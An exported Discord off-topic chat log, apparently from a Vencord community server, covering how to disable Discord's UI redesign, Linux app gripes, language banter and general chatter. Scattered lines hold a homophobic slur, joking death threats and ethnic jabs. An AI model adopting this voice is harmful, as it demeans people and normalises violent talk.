🧊-off-topic-iceman-only

[lime sandal]

If we don't use vesktop on Wayland we can't screenshare

[empty storm]

ic

i thought itd be fixed by now because i heard news about it being fixed but i guess its still broken

[lime sandal]

And it's like a mess because we pass it through xwayland

[lime sandal]

Not fixed at all

[empty storm]

discord moment ig

cant rly rely on them to make linux actually uh,, work

like most devs of games and gaming-related software ig

[lime sandal]

I mean it makes sense, cause you know it's like 3% of desktops, but discord is electron come on

[empty storm]

proton is a saint but cant fix stupid devs with bad linux versions of their software

but yeah managing to fuck up an electron app that much is kinda crazy

[lime sandal]

It can't fix kernel level anti cheats

[wheat eagle]

hi

[lime sandal]

And it stills eats all your ram until eventually it dies

[empty storm]

guh

[lime sandal]

Hello

[empty storm]

anyway my only real big complaints with refresh right now are like

this

and the chatbar being so tall obv

[rose basin]

did discord get an update? my ui looks shit

[empty storm]

the in-call userarea also needs to not be completely broken when the channel menu is minimized

[raw panther]

I like most of the redesign but the 2 line chatbar is stupid (optional I know) and no captionbuttons on discord titlebar is a pain

[empty storm]

yeah

[rose basin]

is there a vencord skin that restores the old ui

[empty storm]

yeah idk how i feel about the latter bit

its just, dumb

[wheat eagle]

can someone send screen shot of new ui

im on phone

[raw panther]

experiments > visual refresh

[rose basin]

dms

[empty storm]

no but you can enable experiments and set Desktop Visual Refresh to Control

[rose basin]

thanks

[lapis lava]

i appreciate the tall chat bar

[rose basin]

where is it again?

[lapis lava]

better than 900 buttons in chat bar

[lapis lava]

vp experiments

[neon ferry]

Experiments

Enable Access to Experiments & other dev-only features in Discord!

Authors

Megumin, Vee, Nickyux, BanTheNons, Nuckyz

[empty storm]

i dont mind it being two line i just think the second line needs to be shorter

[rose basin]

thanks

[boreal torrent]

im at school secretly using my phone

if they catch me using my phone ill be cooked

[lime sandal]

In what class are you .

?

[hollow surge]

don't need to anymore i did it

i mean i didn't

callie did

but i like lying

[rose basin]

where is experiments

desktop visual refrehs

[hollow surge]

over there

[rose basin]

where is the desktop visual refresh

[hollow surge]

under there

[lapis lava]

choisis
sort
mens
ont fini
sent
réfléchissons
grandis
dorment
grossissez (??)
remplis
servent
ouvre

[empty storm]

will be in the bottom section of settings, you can just search for it in the experiments menu

[rose basin]

thanks

[lapis lava]

feel free to send future french homework for me to do

[lapis lava]

soo isnane

[violet umbra]

just remember to remove the french language pack

[spring trellis]

dude

[rose basin]

omg thanks for fixing

[fallow pawn]

vds

[neon ferry]

Discord Status

🟢 API: Operational
🟢 Media Proxy: Operational
🟢 Gateway: Operational
🟢 Push Notifications: Operational
🟢 Search: Operational
🟢 Voice: Operational

Latest Outage Information

[wheat eagle]

ggggg

[untold condor]

go to #🏥-vencord-support-🏥 and follow instructions in pin

it worked for me atleast lol

btw it also restores other userstyles u may have outside of vencord themes too

[empty storm]

i already helped them through it because i didnt wanna bother redirecting people to support

[lime sandal]

Isn't it grossiriez (because of Conditionnelle Présent)

[rapid aurora]

just imagine the bot sleeps

[lapis lava]

it looks like its indicatif présent here, not conditionnel

[hollow surge]

@boreal torrent

[lapis lava]

if it is conditionnel ur right

[lime sandal]

Idfk french sucks

(I'm french btw)

[urban elk]

finally

on my way home

also did discord die for a bit

[empty storm]

yeah for like 10 mins

[urban elk]

bwuh

also hai valerie

[empty storm]

hai

[boreal torrent]

nop

i just want freedom 🦅

[real skiff]

no

[urban elk]

lmao

[boreal torrent]

❓

[boreal torrent]

smt

[open pasture]

https://cdn.discordapp.com/attachments/1150556345230168104/1264399283029938196/gaaay.gif

[boreal torrent]

lc.tr cadarço

[night blaze]

-# <:i:1323844562875187291> Translated from​ 🇵🇹 Portuguese to ​🇺🇸 English.

shoelace```

Google Translate • labsCore

[boreal torrent]

shoelace-less shoes are peak

[open pasture]

shoelace

[lime sandal]

Shoelace-less is shoe because both less are canceling each pther

Other*

[boreal torrent]

fair

[empty storm]

feeling nostalgic for old winxp ui again and its making me wanna use openshell again guhhh

[boreal torrent]

🔥

[empty storm]

i will show restraint,, for now

[drifting carbon]

hi

[open pasture]

openshell bricked my windows 7 install years ago

or classicshell i cant remember

[empty storm]

theyre the same thing i think openshells just a fork or rebrand or smth

[hollow surge]

WHY DOES THIS SCRIPT ONLY RUN ONCE!!! IM GONNA START KILLING PEOPLE!!! IM GOING INSANE!!!

[lime sandal]

Install windows XP and proceed to get 2003442 viruses and 6 tumors out of thin air

[hollow surge]

xp inflicted cancer

[empty storm]

im not going that far i dont like winXP that much

i just grew up with it so i have fond memories

[lime sandal]

Use python so that it won't run at all

[drifting carbon]

install windows xp and legacy update and not get much viruses

[hollow surge]

that worsens my problem about infinitely more

[lime sandal]

Install free bsd, drop using computer, go outside, find woman, get out

[empty storm]

i especially like the dark themes id always use two idr what they were called

i think uhh

royale noir and zune?

[lime sandal]

Yes

[empty storm]

the first one mainly

[drifting carbon]

the programming language that starts with j now got automodded..

you'll get timed out if you say it

[empty storm]

buwomp

[main crown]

wont this count from 0 to infinity, with nothing to set it back to 0

[empty storm]

no more talking about the coffee-named programing language

[open pasture]

coffeescript

[empty storm]

nvm it just got removed

you can talk about it again

[lime sandal]

Minecraft Julia edition

[drifting carbon]

actually nvm it got unautomodded

java

[lime sandal]

Ecmanuts

[open pasture]

seeing the consequences of this @fallow pawn

[fallow pawn]

the world if I knew who actually added that rule

I removed it

[open pasture]

oh right no youtube today because no apple passwords on linux

[lime sandal]

JavaScript is making our world worse. Prove me wrong.

[open pasture]

i could just boot into sane os but

[lime sandal]

Apple password?

[rapid aurora]

without it you wouldn't see kemomimi arts...

[lapis lava]

nop

js so good

[fallow pawn]

why is this so good

[lime sandal]

We need JavaScript to display Kemomimi?

[glass shell]

every programming language should be automoded so we have to invent new silly nicknames to talk about them in programming channel

[glass shell]

reminds me of modern package managers

i like it

[lime sandal]

Not sont good for your ram tho

[glass shell]

the one thing I miss about apple is cool package managers

[open pasture]

feather objc

[glass shell]

I guess you have some neat f-droid clients on android but like

f-droid doesn't have everything

[drifting carbon]

f droid is ancient

[fallow drum]

thanks i made it ❤️

[glass shell]

fuck now i wanna develop an android app for non play store apps that looks like an apple jailbreak package manager,,

[open pasture]

f droid clients

[cosmic otter]

the fdroid client looks outdated

[drifting carbon]

ohh

[fallow drum]

but yeah it does look cool maybe i will feather soon….

[glass shell]

clients

[fallow pawn]

Im learning too much about swiftui im basically unstoppable when it comes to beautiful ui

[glass shell]

there's like

[fallow drum]

i haven’t sideloaded anything onto my iphone although i can lmao

[glass shell]

non official clients for it

[cosmic otter]

i use droid-ify

[glass shell]

me too

[drifting carbon]

i just realized theres a fake feather website going around..

[cosmic otter]

but yeah they all have some weird ui

[glass shell]

but material you doesn't give me that apple satisfaction

[drifting carbon]

looks like its been made in chatgpt

[open pasture]

https://tenor.com/view/cute-girl-unlimited-head-ribbon-game-animation-gif-21483924

[fallow pawn]

yeah I know and I dont really care

[glass shell]

i don't really like a lot of the material you aspect

[fallow pawn]

[drifting carbon]

yeah

[glass shell]

there's some cool things but like

[drifting carbon]

that website looks garbage anyway

[cosmic otter]

fdroid repositories are kinda weird too

you basically fetch every single app at once

[lime sandal]

What is feather?

[cosmic otter]

for every repository added

[glass shell]

thankfully a lot of the cool apps are on GitHub nowdays

if only there was

a mobile github client

that looked cool,,,

[cosmic otter]

if only

[glass shell]

looks at wing

[fallow pawn]

@cosmic otter@cosmic otter@cosmic otter

[cosmic otter]

unfortunately no one is making a custom github client

[glass shell]

yeah

that's pretty

gloomy

[cosmic otter]

true

[flat prairie]

vencord down for yall too?

[rough dome]

no.

[lime sandal]

If someone made it it probably would be someone talented, like someone that uses gitlab ☠️

[glass shell]

yeah

their name would

start with a w,,,

[fallow pawn]

@cosmic otter does it work for codeburger

[cosmic otter]

no lol

[fallow pawn]

fix

[glass shell]

oughh my head fucking hurts GUHHH

[cosmic otter]

it uses githubs graphql api

does not translate at all to the forgejo or gitlab apis

[empty storm]

all of discord for 10mins

[glass shell]

discord has downtimes like every month

[empty storm]

yop

[glass shell]

it's funny seeing everyone panic as if it's an extinction event

[cosmic otter]

no it was just message sending and it didn't effect everyone

[empty storm]

i couldnt load any messages either

[glass shell]

i thought you said "no it was just my messages sending" for a second

like as if you sending a message broke the whole ass server

[lime sandal]

WalmartFan23385 ?

[empty storm]

every channel i checked was either completely empty or just said failed to load

[glass shell]

you don't get me. don't burger react me. don't friend me. don't dm me. we're done

[lime sandal]

Dayum. Sorry for hurting your feelings.

[glass shell]

hey why is there french on your profile

don't tell me you're french

[lime sandal]

I wont tell you

[drifting carbon]

theres nothing on his bio

[lime sandal]

Why did you click my profile, are you interested?

[glass shell]

the fact that you understood it that way makes it obvious that you're french

i click everyone's profile it's compulsive

[jade swift]

is anyone working on a plugin to fix this shitty discord UI

[rapid aurora]

🇨🇳

[drifting carbon]

you can go to appearance and disable it

if theres no option

[rapid aurora]

i love the chinese flag

[drifting carbon]

enable the experiments plugin then search for

[glass shell]

still not the right name nevo

[lime sandal]

What would be the problem if I turned out to be a baguette enjoyer?

[drifting carbon]

desktop visual refresh

[rapid aurora]

I'm sorry zovi

[drifting carbon]

set that bucket to 0

and you should be good

[glass shell]

Bah ça ferait chier quoi

[lime sandal]

C'est basé

[glass shell]

de quoi basé???

[lime sandal]

Ligones right know

[lime sandal]

Wut ?

[glass shell]

Anyways we can't say more than like 3 words in any other language than english or german or people are gonna start being angry

[rapid aurora]

some mfs call black people by "mon ami" in morocco

[lime sandal]

Sprechen sie Deutsch?

[glass shell]

Nah

[soft portal]

so greedy

[glass shell]

i need to learn German

[empty storm]

i mean it is a rule idk

[jade swift]

where at exactly?

[glass shell]

hence why i said that

[lime sandal]

Here we say "Oh ! Kinder bueno !"

[echo peak]

Le plugin Google Translate est mon bien-aimé

[empty storm]

fair enough then

[jade swift]

i dont see an option, if ur talking about the compact ui thing, it doesnt change anything.

theres just a big empty space underneath the chat box thats used for showing when someone is typing and then for gifs stickers and emojis. Its a big waste of space, and even tho theres an extended area, if a lot of people are typing it will still just say "multiple people typing" or whatever it does, instead of displaying the names
why they did this? no clue

[lime sandal]

Just align yourself with jupiter

[rapid aurora]

OMG THAT'S EVEN WORSE 😭😭😭😭😭😭

[lime sandal]

And it'll appear out of thin air

Unlike my dad

[drifting carbon]

ok then you can enable the experiments plugin then go to experiments and set the desktop visual refresh bucket to 0

[glass shell]

Oui mais ducoup tu parle comme quelqu'un du 19eme siècle

[neon ferry]

👉 #🏥-vencord-support-🏥

(Auto-response invoked by @glass shell)

[lime sandal]

Franglais

[lime sandal]

C'est basé

[echo peak]

Tbf je suis britannique

[glass shell]

you can't just translate based to french it's not a saying that exists in french

[lime sandal]

Sale rose beaf

[lime sandal]

C'est basé !

[glass shell]

roh le racisme là

pas bien

[echo peak]

Que veux-tu dire?

[junior ridge]

[jade swift]

this has nothing to do with vencord, its just discords UI designer needs to be fired

[junior ridge]

gm oomfies

ignore how its 4:30 pm

[lime sandal]

That's rugby shit

[glass shell]

i see big paragraph from white name, i invoke support command

[plain cairn]

you can turn off the experiment

"desktop visual refresh" experiment -> treatment 0

[lime sandal]

Dumb french insult because we have British

[jade swift]

where bro

[junior ridge]

bro doesnt know about experiments

💔

[rapid aurora]

ta maman... yeah.. take that

[jade swift]

OH MY GOSH THANK YOU ITS GONE THANK YOU BRO THANK YOU

I LOVE YOU

[glass shell]

if i see the word bro one more time one of you is getting their house filled with carbon monoxide

[lime sandal]

No, c'est basé

[glass shell]

strangers to lovers

[jade swift]

sorry bro

[lime sandal]

🥶

[echo peak]

Oh, quoi. Feuille de rose? Ou suis-je stupide?

[junior ridge]

why is chat british i dont understand british people...

[plain cairn]

can u fill my house with carbon monoxide

it will save me from having to work on vesktop global shortcuts

🙏

[glass shell]

alors on dit ta mère la chienne mais c'est un début

[echo peak]

As a British man, I dont understand myself either

[lime sandal]

Hello ma'e, would you like a bohohowoha

[steady bison]

Where is that? I don't use vencord much not familiar

[lime sandal]

Oh, les petits mot là

[neon ferry]

👉 #🏥-vencord-support-🏥

(Auto-response invoked by @glass shell)

[rapid aurora]

all i understand is that you called my mom by a cat or dog I can't tell the difference because they sound the same..

chienne chat

[glass shell]

t'assume même pas d'être fr viens pas critiquer

[rapid aurora]

wait

YOU CALLED MY MOM BY A DOG

[glass shell]

no I told you to say "ta mère la chienne" instead of "ta maman" to have more credibility

[lime sandal]

D'où j'assume pas là oh, je suis fier de mon patrimoine, Paul Mirabel et tout là

[rapid aurora]

no that's bad his mom isn't a bitch

[glass shell]

ah donc t'es nationaliste?

[lime sandal]

Do you know my mother to say that? She's from the Bois de Boulogne

[rapid aurora]

ok I'll learn french just to date a french fella in the future

because french people are cheap...

[lime sandal]

Bad idea

[glass shell]

terrible idea

especially if that fella is from Paris

GOD don't date a Parisian

[rapid aurora]

i learned this word today
tue toi (i love you)

[lime sandal]

Je vote la Fronce

[lime sandal]

Tutoie moi

[glass shell]

i know you know that's not what it means

[rapid aurora]

[glass shell]

le FN? Wow.

[drifting carbon]

anyways ima go to bed

gn chat

[glass shell]

donc t'es nationaliste ET raciste?

[rapid aurora]

@lime sandal je suis dsl for saying that!

[lime sandal]

New sentence : Congolexicomatisation des lois du marché

[rapid aurora]

I'm american

AMERICA

[glass shell]

i was talking to the french guy

[junior ridge]

im so sorry

[lime sandal]

Je répondrais en disant que je regarde les streams d'Antoine Daniel et de JDG

[rapid aurora]

you are lucky vee blocked arabic characters

[glass shell]

look at your username and try to feel sorry for anyone other than yourself again

[rapid aurora]

WAIT LOL I CAN TALK MY LANGUAGE

MUHAHAHA

[junior ridge]

its funny :c

[glass shell]

ah donc t'est de gauche

[lime sandal]

If you say that go a french person je will laugh or be confused

[rapid aurora]

souktou yal francais
3asabtouni

[lime sandal]

Je suis pour une démocratie non partisane

[rapid aurora]

je suis will kill you

je will

omg i love that

JE WILL

[lime sandal]

Je vais te quoicoubaka you have to say

[empty storm]

so many language

[rapid aurora]

gentile

human droits?

wait did i forgot e

[echo peak]

I don't speak French. But If i did, then I'd probably be saying something in French right about now.

[glass shell]

im fucking around with you I don't really care

[empty storm]

so true

i could never speak another language english confuses me enough as is

[rapid aurora]

say
je suis cute aujourd'hui

[lime sandal]

You Can Say some croissant shinanigan

[lime sandal]

Je suis mignon ajd

[echo peak]

Who thought it was a good idea to have 3 there's😭

[echo peak]

Im curious what that means

[empty storm]

je m'appelle valerie

[lime sandal]

French is 3x more confusing than English when you write it because everything makes the same sound but is written differently

[rapid aurora]

my french is bad
i think i said "I'm cute today"

[echo peak]

Lmao

[lime sandal]

You must be some kind of secretary

[empty storm]

ive noticed that but idk english has issues with that too

[lime sandal]

Not as much

Every fing verbs end with a different é sound every fing time

[empty storm]

i had a french class years ago and forgot all of it because i did terrible in the class (the teacher was awful and refused to help me whenever i could not understand spelling and would berate me for saying anything slightly off)

i was like 12

[lime sandal]

Same happened to me

[echo peak]

And me

[rapid aurora]

76.9k red flag

[empty storm]

all i remember from my french class is that a kid was asked how to spell wyoming and the first letter he said was "Y"

[lime sandal]

C'est basé

[empty storm]

yop

[echo peak]

I know what I have to do. But I dont know if I have the strength to do it😧

[lime sandal]

We got to love neko man

[raw panther]

I studied germanese in school but everything I learned in lower primary got wiped in upper primary because I had compulsory swedish from the same teacher in the same room so it got all mixed up

[jade swift]

when is discord firing their ui designer

[lime sandal]

Germanese 😢

[jade swift]

the new ui has lots of empty space, any chance thats where the ads will go

[echo peak]

I haven't noticed a UI change. Is it only for certain people?

[lime sandal]

Yes

[echo peak]

Ah, ok

[jade swift]

ye, i think its for if u have experiments enabled

[junior ridge]

i was playing fortnite festival and my game crashed so hard i have to relogin to epic games launcher

[jade swift]

it might get pushed tho, knowing discord, they are gonna make this an update

[echo peak]

Probably

I swear Discord make an experimental feature, it gets hated by everyone, then they make it an official update regardless

[hollow surge]

i fucking love brazillian communities

@boreal torrent

[distant stag]

https://cdn.autism.host/media/suxhw3le.png guys

doesit look like

the leftmost icon is more spaced out than the rest

cuz it kinda does to me and its making me go insane

[rapid aurora]

HOLY HELL THIS IS SO CRINGE 😭 https://youtu.be/e9v8AEDz7VY?si=jOAz__qa4cmn3O3Y

imagine if people just get sad over this

omg

[slender isle]

not really

[acoustic trellis]

Am sitting in my class's discord server and some classmates are currently watching german brainrot

and I have absolutely no clue

[lapis lava]

the new ui is soooo good

makes discord look more modern

[distant stag]

makes discord look like guilded

wait a minute

where the fuck

are the buttons

how 2 close

https://cdn.autism.host/media/ujq49i5r.png

[wraith osprey]

giant empty bar at the top for web clients

lovee

[glossy swallow]

close buttons appear on windows 11

[deep token]

@acoustic trellis hiiii

[junior shore]

Is this plugin or discord update

[fallow pawn]

discord update

[rugged glacier]

you overpaid

[distant stag]

i am

but im on vesktop

[keen junco]

@paper gate @cosmic otter you love ```kt
fun f0(@Suppress("FORBIDDEN_VARARG_PARAMETER_TYPE", "UNUSED_PARAMETER") vararg nothings: Nothing, arg0: Int, arg1: Int, arg2: Int)

[cosmic otter]

why

[keen junco]

Forces you to use named arguments

[paper gate]

delete

[keen junco]

Nope

[keen junco]

Repost, you're getting shot

[hollow surge]

https://media.discordapp.net/attachments/1256091708580565052/1298121599949471828/image_2024-10-21_201130268.gif?ex=67a37fb3&is=67a22e33&hm=83615e97b0470a8460e1bc09ecdc231376385a597a3480343babefee8b386e44&=

[harsh minnow]

not a repost

[spark crescent]

stupid ass cat

turn on the dryer

[hollow surge]

so true greename

[rapid aurora]

mfs be making ai in the gpu and call it the new gen

[keen junco]

#🧊-off-topic-iceman-only message

[harsh minnow]

day ago = doesnt count

it starts being funny again after 12h

[mystic salmon]

cute

[keen junco]

In what update was the time changed, I could've sworn the cooldown was 24h

[harsh minnow]

i just grabbed a blanket and it threw a spark and stung my hand

[solemn plank]

hooray i dont have to use old ass ZDL for my fun game of doom

[mystic salmon]

Trolled

[harsh minnow]

hotfix 27a3

[keen junco]

Deserved for reposting

[real skiff]

vcotd

[neon ferry]

The cozy of the day is bunting! (#151f4c)

[keen junco]

Must've been in the fine print

[solemn plank]

its like a crt, you just discharged it. it can now be safely repaired

[solemn plank]

https://tenor.com/view/cat-bonk-cat-bunt-forehead-love-attack-gif-13993799703103189893

[winter girder]

sorry

[winter girder]

it was literally in the boldest font ever

how could you miss it

[stark herald]

they should add traffic light buttons regardless of your OS

[rapid aurora]

whenever I'm sick i just think about shawarma

[fallow pawn]

that was me sorru

[vapid yarrow]

https://tenor.com/view/white-role-white-role-rolecism-gif-4676482213469236888

[bold adder]

my english midterm is due at midnight

havent started

[fast timber]

FEEDBACK:
pls make on the venocrd installer open asar agreement beeing saved to be accepted PLEASE.

[bold adder]

[boreal torrent]

hellol

I'm home now

[boreal torrent]

LMAO

[mystic salmon]

Weißrolle moment

[boreal torrent]

@hollow surge @sweet blaze https://www.youtube.com/watch?v=kG09VMJGAKU

[winter girder]

@stark herald how do I make exploding cocaine

[bold adder]

its raining outside

[boreal torrent]

Spongebob Squarepants: Skin Theory

[lapis lava]

wdym

[rare trout]

The doohickey

[bold adder]

lobter

[winter girder]

rust

[merry sigil]

hey guys..... anyone have a plugin to make my ui go back to the old ui.......

apparently im part of the 6%
https://techissuestoday.com/discord-begins-rolling-out-redesigned-ui-for-desktop-app/

[royal meteor]

No way someone maked a english version

[keen junco]

https://github.com/fosrl/pangolin

[keen junco]

Loss

[fast timber]

i can send picture to show it...

[fast timber]

https://snipboard.io/PT6zYE.jpg i mean this one

[kind summit]

HAIII

I love cat

Car

Cat cat

Cat car

Music and sing nice

[cursive falcon]

guys im polish and i like skirts what does this mean

i am a male btw what does this mean

[lapis lava]

@icy grail

[rare trout]

it means you are a radical conservative

[lapis lava]

@rare trout mustaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaard

[rare trout]

im going to flash you

your brain

[kind summit]

@rare trout @lapis lava haaaaaaaaAAAAAAAAAAAAAAAAAAAIIIIIIIII 👋

[rare trout]

hi

[bold adder]

raining so hard :)

[sturdy cedar]

Where do I find the uwuify plugin😡

[lapis lava]

removed

[open pasture]

I also wanna know, I wasn't affected yet but I'm afraid they'll roll this shit out to everyone soon just like what happened to the mobile apps

[sturdy cedar]

NOOO😭😭

[slow urchin]

Made a bong today 🔥

[cinder pasture]

Uwu

[sturdy cedar]

why... why would you remove it

[thin laurel]

i don't know if i'm a pearto

[slow urchin]

,,,why

[open pasture]

at least on mobile you can use the browser version but nonetheless seems like discord is going to make yet another terrible decision for no reason

[lapis lava]

vp textreplace

[neon ferry]

TextReplace

Replace text in your messages. You can find pre-made rules in the #textreplace-rules channel in Vencord's Server

Authors

AutumnVN, TheKodeToad

[thin laurel]

oh hi nin0

[slow urchin]

Ah makes sense

@lapis lava did this in school today in digital art

[sturdy cedar]

where the uwuify rules at?

[lavish schooner]

[bold adder]

linux kart

[slow urchin]

#🗒-textreplace-rules

[sturdy cedar]

I know a VR game that can do something similar to this

[sturdy cedar]

huh

[slow urchin]

...what

[sturdy cedar]

I don't see uwuify rules😡

[thin laurel]

i always saw tux kart on like the raspberry pi app storee and was wondering what it was
anyway how does a mario kart clone have a story

[sturdy cedar]

emuvr I think, funny little thing where game on fake monitor

[slow urchin]

Oh

[lapis lava]

make them lol

uwuify is annoying anyway ur getting blocked in 5 seconds by anyone wanting to talk to yous eriously

[sturdy cedar]

eh ik a server that would like it, i'll make my own rules tho

thanks

[bold adder]

bingo

[grizzled jay]

bingoh

[sturdy cedar]

my grandma in the retirement home :

when bingo :

[thin laurel]

find: uwu
replace: block this user

[bold adder]

block this user

my clothes so wet

its getting chilly

[kind prawn]

ts pmo

[grizzled jay]

hai :3

[stark herald]

hhai :3

[grizzled jay]

hru :3

[stark herald]

good :3

u? :3

[prisma sonnet]

[fading atlas]

hey the client theme plugin is not working for me

[neon ferry]

👉 #🏥-vencord-support-🏥

(Auto-response invoked by @fallow pawn)

[rare trout]

oh no

WHAT

bro

[lavish schooner]

@rare trout hi wtf is dis

lol

[rare trout]

ultrashit

[bold adder]

IM MAD IM REALLY REALLY MAD

[rare trout]

ass of hell

[lavish schooner]

yes, it looks like a lot of shit, but what is it

[lavish schooner]

hi MAD IM REALLY REALLY MAD, i'm blumiere

[rare trout]

WHAT ARE THESE NAMES

[cinder salmon]

@exotic dock amia cult has grown

[bold adder]

arbys

[lavish schooner]

we have the meats

[exotic dock]

it actually shrank

you should've seen it at its peak

[cinder salmon]

Your name is the same as my wifi

[cinder salmon]

Oh really…

We should gatekeep the name

[lavish schooner]

:3

[lavish schooner]

who is "the name" and why are they being gatekept

[cinder salmon]

That… name

[lavish schooner]

[cinder salmon]

Check your dms

[lavish schooner]

is this english

[raw panther]

my ssid is telehell because I have a telewell box

[rare trout]

welp thats it because hell is out of order

[lavish schooner]

what about heaven

[stiff cloak]

mwoq

hi

:3

[rare trout]

BRO WHATS GOING ON

[winter girder]

dnt try me lil vro ts pmo sm r u fr rn ngl ima trn in to a pmo crsh out sybau lil gng💔

[kind prawn]

icl ts pmo sm n sb rn ngl, r u srsly srs n fr rn vro? Smh lol atp js go 💔... b fr vro, idek nm, brb gng gtg atm lmao, bt ts pmo 2 js lmk lol onb fr, ac nvm b wt istg ts vro keys🙏💔 ts pmo

[clever ore]

the answer is simple

[rare trout]

help

[clever ore]

simple

[winter girder]

gng dnt evr mes wit the vc (vencord) gng 💔 this pmo crashout js let it go atp you drging it sybau lil vro 💔 ts pmo vro

[humble needle]

i fuckign..... ahte squares

[kind prawn]

"crashout" u nt shkspr 💀 🙏

[fierce quiver]

ultrakill sucks ngl

[lavish schooner]

1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144, 169

[humble needle]

https://tenor.com/view/here-take-an-l-gif-19985416

embed fail

its joever

[fierce quiver]

sound:1015060230222131221:1099455166526259340

[winter girder]

"💀 🙏" 🫵 ❌ shkspr

[kind prawn]

"🫵 ❌ shkspr"

[shrewd imp]

I'm programmed to avoid harmful content.

Message URL

#🧊-off-topic-iceman-only message

Question

tldr

[winter girder]

_ _

[boreal torrent]

sybau ts pmo sm rn

[junior ridge]

bwaa

[winter girder]

icl ts pmo sm rn r u fr rn 💔

[kind prawn]

""

[spark crescent]

what are y'all talking about

[lofty fractal]

whats the new ui experiment called i wanna turn it off

[raw panther]

visual refresh

[lofty fractal]

thanks

[lavish schooner]

[grizzled jay]

AHAT DID YOU DO TK ULTRAKILL

evil.....

[winter girder]

@paper gate @lapis lava yall like my horse?

[paper gate]

yes

[bold adder]

https://stupidpenisx.com/RepMikeCollins/status/1886964948451893588 💀

what a great guy

[boreal torrent]

overwatch is so BAD

[boreal torrent]

TF2 way more fun

[kind prawn]

tsmt

[paper gate]

yop

[boreal torrent]

cider so good

[rare trout]

Oops

Wrong server

[spark epoch]

someone screamed ||skibi|| at school and some random guy crashed out and kicked a vase

he was so fucking pissed

he broke down

[lavish schooner]

what

[hollow surge]

this is me

[bold adder]

i woul dod this

[wind skiff]

ultrakill?

no way

the only time ill ever see someone send anything about ultrakill my entire life

[rare trout]

me when a script ends with "good luck"

[boreal torrent]

ultrakilograms

[boreal torrent]

fuck yea.

[grizzled jay]

ultrameters

and its evil twin ultrafeet

[hollow surge]

ts ts ts ts ts ts ts ts
ts ts ts ts ts ts ts ts
ts ts ts ts sts ts ts ts
ts ts ts ts ts ts

[winter girder]

scary

[neon ferry]

Rule 6

English & German only (prolonged German conversations belong in #🇱🇺-deutsch-german)

Auto-response invoked by girliie

[hollow surge]

what

[main wyvern]

no hoodspeak allowed

[hollow surge]

kills

is greek mythology just the 2b2t server

[boreal torrent]

that's... english

are we in the 1800s or smth 💔

[main wyvern]

nop ❌ 👎 👎 👎

[bold adder]

https://stupidpenisx.com/reddit_lies/status/1886690162861605041 im surprised this was on reddit of all places 💀

reddit is left wing to hell

[solemn plank]

one i ran on my 3DS said "this will take a year or two"

[boreal torrent]

writing c is fun.

[fallow drum]

these people are just as crazy as the far right idiots

and just as stupid too

[boreal torrent]

i'm doing some opengl and x11 shit

:3

[bold adder]

yop

reddit is insane

[rare trout]

i just removed bios password from T480

proud of myself

[boreal torrent]

Fictional introjects are an actual thing

there's fakers everywhere tho, ofc

[boreal torrent]

fym 💔 u literally said u don't think it's very real

[solemn plank]

the most esoteric meme i have made yet. first person to get the two jokes wins

[boreal torrent]

it's backed by real science

but people love faking disabilities everywhere

that's the awful part

[winter girder]

@paper gate @main wyvern @digital kettle

[wraith osprey]

?????

ahh scary technical words

[winter girder]

Femboys

[boreal torrent]

dw

[wraith osprey]

femboys aren't an automodded word??

insane

[winter girder]

No

Why would it

[boreal torrent]

if someone's say they're a non-traumagenic system there's like

90% of chance they're faking it

[fallow pawn]

woke automod

[winter girder]

Destroy the wokeness

[fallow pawn]

@winter girder have u experienced this

[boreal torrent]

it's pretty much smth u get used to

[digital kettle]

hai

[winter girder]

YESS I bought the Redstone and shovel one

[boreal torrent]

hola

[digital kettle]

i love this song so much

[winter girder]

Peak reading

[boreal torrent]

i might buy house of leaves this month

my gf recommended me it

it seems AWESOME

peak.

it's like R$ 200 tho 💔

[paper gate]

200 robux?

[boreal torrent]

but i'm getting some money this month so i'm not very worried about it

[solemn plank]

dont do it. wolf gonna blow down the house

[paper gate]

i have them

[digital kettle]

is snapdragon x plus a good cpu

[fallow pawn]

every time a new update comes out for minecraft 4 years pass by and it feels like it came out yesterday

[boreal torrent]

1.8 was released a decade ago

💔

[digital kettle]

2014

[winter girder]

1.16 came out over 5 years ago..

[boreal torrent]

september

so not 11 years yet

one day after my 7th birthday

💔

[winter girder]

Sorry, I like men

[boreal torrent]

nop

[wraith osprey]

faggaphobic

[boreal torrent]

vencord users be like haha slurs so funny

[winter girder]

How come people are saying how unsafe air travel is now??

Its literally still so much safer then cars

[fallow pawn]

I lost all my Minecraft books

[wraith osprey]

aircraft incidents are much more high profile than a car accident

[fallow pawn]

[winter girder]

💔

[paper gate]

i stole

[bold adder]

coca cola and ascii donut

[solemn plank]

what if the airline slacks off and most of the roof flies off like that one time

[wraith osprey]

a helicopter and a plane collided mid air in D.C

[winter girder]

Yes but still safer

[wraith osprey]

which is insane

[bold adder]

yop

[wraith osprey]

one of the most tightly controlled airspaces and THAT happened

[solemn plank]

The new rickroll'd by wtfradio1000

[winter girder]

Thats so unlikely to happen with modern aircraft

[bold adder]

LOL

[boreal torrent]

Trump be doing the stupidest decisions this year man

[winter girder]

Even if there wasn't any maintenance on it, it wouldn't just randomly disconnect in air

[boreal torrent]

😭

[bold adder]

we will buy the entire earth

[wraith osprey]

guys everyone should buy a Tesla then all the teslas can communicate and move as one

[limpid bridge]

hello guys can i know my is my vencord emoji is not working ?

[wraith osprey]

wait a minute....

[neon ferry]

👉 #🏥-vencord-support-🏥

(Auto-response invoked by @winter needle)

[boreal torrent]

egl so nice to work with

[paper gate]

@wraith osprey hiii

[winter girder]

Atc was probably overwhelmed and it doesn't help that trump paused atc hires

[fallow pawn]

?

[wraith osprey]

HIII zoooottiee

[paper gate]

cookieee

[limpid bridge]

:among_us:

[limpid bridge]

see

[wraith osprey]

the ATC tower was at less than half the staffing it was supposed to have

def overwhelmed

[boreal torrent]

i gotta make my graphics library support vulkan too

in the future

💔

[wraith osprey]

you love budget cuts

[fallow pawn]

[main wyvern]

nop

[solemn plank]

get your ass to #🏥-vencord-support-🏥 this instant

[boreal torrent]

i can't make it support metal tho

[limpid bridge]

ok man

[solemn plank]

do people still even play among us

[boreal torrent]

at least MoltenVK is a thing

[boreal torrent]

children still do

[winter girder]

My entire class played it together once

[wraith osprey]

your WHAT

[boreal torrent]

last time i played among us was two years ago

mid class

[boreal torrent]

i'm writing a graphics library in C

[rare trout]

my ex faked did

[boreal torrent]

i'm working with opengl and x11 apis rn

